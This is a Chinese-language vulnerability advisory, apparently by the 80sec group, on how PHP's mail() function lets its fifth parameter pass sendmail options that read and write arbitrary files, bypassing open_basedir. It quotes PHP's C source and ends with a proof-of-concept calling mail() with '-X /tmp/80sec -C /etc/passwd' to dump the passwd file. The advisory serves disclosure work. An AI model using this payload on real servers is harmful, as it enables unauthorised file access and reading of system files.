|
漏洞介绍:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发,但是80sec发现在php的Mail函数设计上存在问题,可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意文件,结合应用程序上下文也可能导致文件读写漏洞。 漏洞分析:php的Mail函数在php源码里以如下形式实现:
Php 代码复制代码
-
......
-
if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
-
php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE.");
-
RETURN_FALSE;
-
}
-
-
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss",
-
&to, &to_len,
-
&subject, &subject_len,
-
&message, &message_len,
-
&headers, &headers_len,
-
&extra_cmd, &extra_cmd_len
-
) == FAILURE) {
-
return;
-
}
-
......
-
-
if (force_extra_parameters) {
-
extra_cmd = estrdup(force_extra_parameters);
-
} else if (extra_cmd) {
-
extra_cmd = php_escape_shell_cmd(extra_cmd);
-
}
-
-
if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
-
RETVAL_TRUE;
-
} else {
-
RETVAL_FALSE;
-
}
-
.....
-
-
-
......
if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE.");
RETURN_FALSE;
}
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss",
&to, &to_len,
&subject, &subject_len,
&message, &message_len,
&headers, &headers_len,
&extra_cmd, &extra_cmd_len
) == FAILURE) {
return;
}
......
if (force_extra_parameters) {
extra_cmd = estrdup(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}
if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
.....
在php_mail中
Php 代码复制代码
-
PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
-
{
-
....
-
FILE *sendmail;
-
int ret;
-
char *sendmail_path = INI_STR("sendmail_path");
-
char *sendmail_cmd = NULL;
-
-
....
-
if (extra_cmd != NULL) {
-
sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
-
strcpy (sendmail_cmd, sendmail_path);
-
strcat (sendmail_cmd, " ");
-
strcat (sendmail_cmd, extra_cmd);
-
} else {
-
sendmail_cmd = sendmail_path;
-
}
-
....
-
/* Since popen() doesn't indicate if the internal fork() doesn't work
-
* (e.g. the shell can't be executed) we explicitely set it to 0 to be
-
* sure we don't catch any older errno value. */
-
errno = 0;
-
sendmail = popen(sendmail_cmd, "w");
-
-
-
PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
{
....
FILE *sendmail;
int ret;
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;
....
if (extra_cmd != NULL) {
sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, " ");
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
....
/* Since popen() doesn't indicate if the internal fork() doesn't work
* (e.g. the shell can't be executed) we explicitely set it to 0 to be
* sure we don't catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, "w");
如果是Linux系统,Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令,但是额外的参数在拼接之前经过php_escape_shell_cmd的处理,所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助,我们可以发现sendmail的某些参数是可以用来读写文件的,利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受open_basedir等限制。
漏洞测试:
Php 代码复制代码
-
<?php
-
$to = 'jianxin&80sec.com'.str_repeat("x",10000);
-
$subject = 'the subject'.str_repeat("x",10);
-
$message = 'hello'.str_repeat("x",10);
-
mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd");
-
?>
-
-
<?php
$to = 'jianxin@80sec.com'.str_repeat("x",10000);
$subject = 'the subject'.str_repeat("x",10);
$message = 'hello'.str_repeat("x",10);
mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd");
?>
|